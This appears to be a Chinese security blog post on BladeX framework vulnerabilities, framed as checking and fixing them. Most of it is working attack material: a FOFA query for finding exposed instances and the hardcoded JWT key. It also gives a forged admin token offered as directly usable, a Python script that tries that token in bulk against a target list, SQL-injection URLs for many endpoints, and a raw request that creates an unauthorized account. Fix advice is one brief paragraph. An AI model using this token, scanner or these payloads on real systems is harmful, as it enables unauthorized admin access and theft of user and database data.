直击 BladeX 框架漏洞:安全隐患排查与修复攻略

一、BladeX框架概述

BladeX是一款基于Spring Boot 2和Spring Cloud构建的微服务架构框架,其源自商业项目的优化升级,在企业级开发领域应用广泛。该框架集成了权限管理、动态API、多租户、任务调度等核心功能,技术栈融合了MyBatis、Spring Security等组件,前端采用Vue3 + Element-Plus技术组合,并且支持国产化环境适配,如国密算法SM2/SM3/SM4。

图片[1]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略

(一)核心特性

  1. 模块化设计:支持插件式开发模式,能够快速生成企业级后台系统代码,提升开发效率。
  2. 安全合规:集成RBAC权限模型和日志审计功能,同时适配国产操作系统及数据库,保障系统安全与合规性。
  3. 多场景支持:兼容主流数据库,如MySQL、SQL Server,支持云原生部署,并内置工作流引擎,满足多样化业务场景需求。

(二)搜索语句

利用FOFA搜索引擎查找BladeX相关资产,搜索语句为:body=”https://bladex.vip/” || body=”Saber将不能正常工作” || title=”BladeX企业级开发平台” || icon_hash=”1047841028″。

图片[2]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略

搜索结果显示,共有26,927条匹配结果(8,092条独立IP)。

二、漏洞情况

BladeX框架存在多种安全漏洞,包括JWT密钥硬编码漏洞、SQL注入漏洞、Spring Cloud Gateway命令执行漏洞(CVE – 2022 – 22947)、账号创建越权漏洞以及敏感信息泄露漏洞。这些漏洞严重威胁系统安全,可能导致敏感数据泄露、权限被滥用等安全问题。

三、漏洞详细介绍

(一)JWT密钥硬编码漏洞

1.原理:BladeX框架默认的JWT签名密钥固定为“bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject”。攻击者可利用这一固定密钥,通过工具伪造管理员Token,获取管理员权限。

图片[3]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略

2.影响版本:若未修改默认密钥,全版本均受影响。

3.利用方法:借助工具(如jwt.io)构造Payload,在Payload中写入身份验证参数,设置“role_name”为“administrator”,并填入“user_id”“name”等参数(参数有值即可),随后进行签名,即可生成伪造的JWT Token。使用生成的Token访问特定接口,如“/blade – user/user – list”,可查询所有用户信息。

下列token可直接使用:

Blade-Auth: bearer eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJhY2NvdW50IjoiYWRtaW4ifQ.SOfK7eTptU9abT6BjhdO0KJnZ-wJM9E_MJmfCuUCZ38

图片[4]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略

4.利用脚本示例

import requests

proxies = {
    "http":"http://127.0.0.1:8080",
    "https":"http://127.0.0.1:8080",
}

def check_url(url):
    headers = {
        "Blade - Auth": "bearer eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJhY2NvdW50IjoiYWRtaW4ifQ.SOfK7eTptU9abT6BjhdO0KJnZ - wJM9E_MJmfCuUCZ38"
    }
    try:
        response = requests.get(url, headers=headers, timeout=10, verify=False, proxies=proxies)
        return response.status_code == 200 and "success" in response.text
    except requests.exceptions.RequestException:
        return False

# 读取目标并处理URL
with open("targets.txt", "r") as f:
    base_urls = [line.strip() for line in f]


success_urls = [ ]  # 存储成功URL


results = [ ]


for base_url in base_urls:
    #print(base_url)
    formatted_url = base_url.rstrip("/") + "/blade - user/user - list"
    if check_url(formatted_url):
        success_urls.append(formatted_url)  # 收集成功URL
        results.append(f"{formatted_url}: 200访问成功")
    else:
        results.append(f"{formatted_url}: 访问失败")

# 将成功URL写入succ.txt
with open("succ.txt", "w", encoding="utf - 8") as f:  # 指定UTF - 8编码
    f.write("\n".join(success_urls))  # 每个URL独立一行

# 控制台输出完整结果
print("\n".join(results))
图片[5]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略

(二)SQL注入漏洞

BladeX框架多个接口存在SQL注入漏洞,部分接口有权限限制,可结合JWT身份伪造漏洞利用。

  1. 存在漏洞的接口及POC
    • /api/blade - user/list:POC为/api/blade - user/list?updatexml(1,concat(0x7e,database(),0x7e),1)=1
    • /api/blade - user/export - user:POC为/api/blade - user/export - user?1 - updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1/api/blade - user/export - user?Blade - Auth=&account&realName&1 - updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1
    • /api/blade - log/error/list:POC为/api/blade - log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1
    • /api/blade - log/usual/list:POC为/api/blade - log/usual/list?updatexml(1,concat(0x7e,database(),0x7e),1)=1
    • /api/blade - desk/notice/list:POC为/api/blade - desk/notice/list?updatexml(1,concat(0x7e,database(),0x7e),1)=1
    • /api/blade - system/tenant/list:POC为/api/blade - system/tenant/list?updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1
    • /api/blade - develop/code/list:POC为/api/blade - develop/code/list?updatexml(1,concat(0x7e,database(),0x7e),1)=1
    • 其他可能存在漏洞的接口:包括/api/blade - resource/oss/list/api/blade - system/dict - biz/list/api/blade - system/menu/menu - list/api/blade - develop/datasource/list等。
图片[6]-直击 BladeX 框架漏洞:安全隐患排查与修复攻略

(三)账号创建越权漏洞

基于JWT Token认证绕过漏洞获取角色id(roleId、deptId、postId)后,构造数据包向/api/blade - system/search/role/api/blade - user/submit发送请求,可实现越权创建账号。

POST /api/blade - user/submit HTTP/1.1  
Host:   
Xweb_xhr: 1  
Blade - Auth: bearer  
Authorization: Basic c2FiZXI6c2FiZXJfZXo=  
Content - Type: application/json  
Accept: /  
Sec - Fetch - Site: cross - site  
Sec - Fetch - Mode: cors  
Sec - Fetch - Dest: empty  
Accept - Encoding: gzip, deflate  
Accept - Language: zh - CN,zh;q = 0.9  
Connection: close  
Content - Length: 236    

{"account":"test123","realName":"test123","userType":1,"tenantId":"000000","password":"test@123456","password2":"test@123456","name":"test123","roleId":"1123598816738675201","deptId":"1123598813738675201","postId":"1123598817738675201"}

(四)敏感信息泄露漏洞

多个接口存在敏感信息泄露风险:

  1. /api/blade - user/user - list/api/blade - system/user/user - list:可泄露用户账号密码。
  2. /api/blade - develop/datasource/list:会泄露数据库连接信息。
  3. /api/blade - log/api/list:泄露登录日志,其中包含登录用户名密码。
  4. /api/blade - resource/oss/list:泄露oss配置信息。
  5. 登录相关接口:通过抓登录包并替换相关参数,可实现任意用户登录。

修复建议

BladeX框架的这些漏洞对系统安全构成严重威胁,开发人员和系统管理员应及时采取措施进行修复,如修改默认JWT密钥、对输入进行严格过滤以防范SQL注入、加强接口权限控制等,保障系统安全稳定运行。

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

THE END
少侠喜欢就支持一下吧
点赞0 分享
评论 抢沙发
头像
欢迎少侠留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容